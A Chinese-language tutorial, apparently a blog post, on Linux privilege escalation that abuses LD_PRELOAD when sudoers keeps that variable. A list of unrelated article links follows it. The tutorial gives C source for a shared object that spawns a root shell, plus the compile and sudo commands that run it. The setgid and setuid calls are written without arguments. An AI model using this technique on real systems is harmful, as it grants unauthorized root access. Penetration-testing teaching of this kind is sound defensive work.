0x00 前言

共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。

0x01 共享库名称

每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。

动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读)

LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的

想了解更多信息,请阅读此处

0x02 实验设置

日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo

为此,请按照以下步骤操作:

  • 输入visudo打开/etc/sudoers文件
  • 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
  • 然后添加以下内容作为默认配置来设置LD_preload的环境。
 Defaults        env_keep += LD_PRELOAD

0x03 权限升级

要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。

让我们在/tmp目录中生成一个C程序文件。

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid();
setuid();
system("/bin/sh");
}

然后将其保存为/cmp中的shell.c

如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

非常好,我们获得了ROOT访问权限。

 
 
 
 
 

使用LD_Preload的Linux权限升级技巧的更多相关文章

  1. 使用sudo进行Linux权限升级技巧

    0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...

  2. 使用PATH变量进行Linux权限升级技巧

    0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...

  3. 使用SUID二进制文件进行Linux权限升级技巧

      0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

  4. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  5. 给新手的 10 个有用 Linux 命令行技巧

    我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...

  6. linux===给新手的 10 个有用 Linux 命令行技巧(转)

    本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...

  7. linux java7升级到java8

    转自:https://blog.csdn.net/u010199866/article/details/81744382 linux java7升级到java8   版权 1.第一步先卸载所有老的jd ...

  8. 【shell 大系】Linux Shell常用技巧

    在最近的日常工作中由于经常会和Linux服务器打交道,如Oracle性能优化.我们数据采集服务器的资源利用率监控,以及Debug服务器代码并解决其效率和稳定性等问题.因此这段时间总结的有关Linux ...

  9. linux权限系统

    Linux权限分为 r(4):可读 , w(2)可写 , x(1)可执行 , -无权限 , 可以通过ls -l 文件名查看权限 , 如 ls -l 文件名 输出: -rwxrw---x. root r ...

随机推荐

  1. yocto-sumo源码解析(七): BitBakeServer

    1. 创建域套接字,管道以及锁: self.configuration = configuration self.featureset = featureset self.sockname = soc ...

  2. Next Generation MSP 和传统MSP的区别

    1. 速度 -- 基础架构代码化快速部署 由于物理硬件已经在云上启动并运行,因此配置服务器要快得多.配置完成后,只有当MSP采用DevOps并将环境“基础设施作为代码”时,配置才能快速.云MSP可以轻 ...

  3. HTML(2)普通文本的修饰

    段落标签 <p> 我们使用<p>...</p>标签来标记一个段落,两个段落之间会自动换行.需要注意的是,在书写HTML时,连续的空格只被看作一个空格,如果需要插入空 ...

  4. Ruby知识点二:类

    1.追查对象是否属于某个类时,使用is_a?方法  追查某个对象属于哪个类时,使用class方法 判断某个对象是否属于某个类时,使用instance_of?方法 判断类是否包含某个模块,使用inclu ...

  5. "prefs:root" or "App-Prefs:root"

    iOS 苹果审核也是看心情的吗?已经上线几个版本了,新版本提交审核居然被查出来了! Guideline 2.5.1 - Performance - Software Requirements Your ...

  6. 第十周psp作业

    本周psp 本周进度条 代码累积折线图 博文字数累积折线图 饼状图

  7. js弹出框 -搜索

    警告框alert() alert是警告框,只有一个按钮“确定”无返回值,警告框经常用于确保用户可以得到某些信息.当警告框出现后,用户需要点击确定按钮才能继续进行操作.语法:alert("文本 ...

  8. jsp九大内置对象之一request

    request对象,目的是用来获取客户端的请求. 主要方法有: request.getMethod();                      // 获取提交请求的方式 request.getPr ...

  9. linshi18

    #include<iostream> using namespace std; int n,m,k; #define max 100 char mmap[max][max]; int mm ...

  10. DPDK RX / TX Callbacks 源码阅读

    这个sample是基于basicfw的.basicfw就是一个网口收到的包立即从另一个网口转发出去,非常简洁明了的程序,可以通过basicfw学习基础的DPDK发包API.RX / TX Callba ...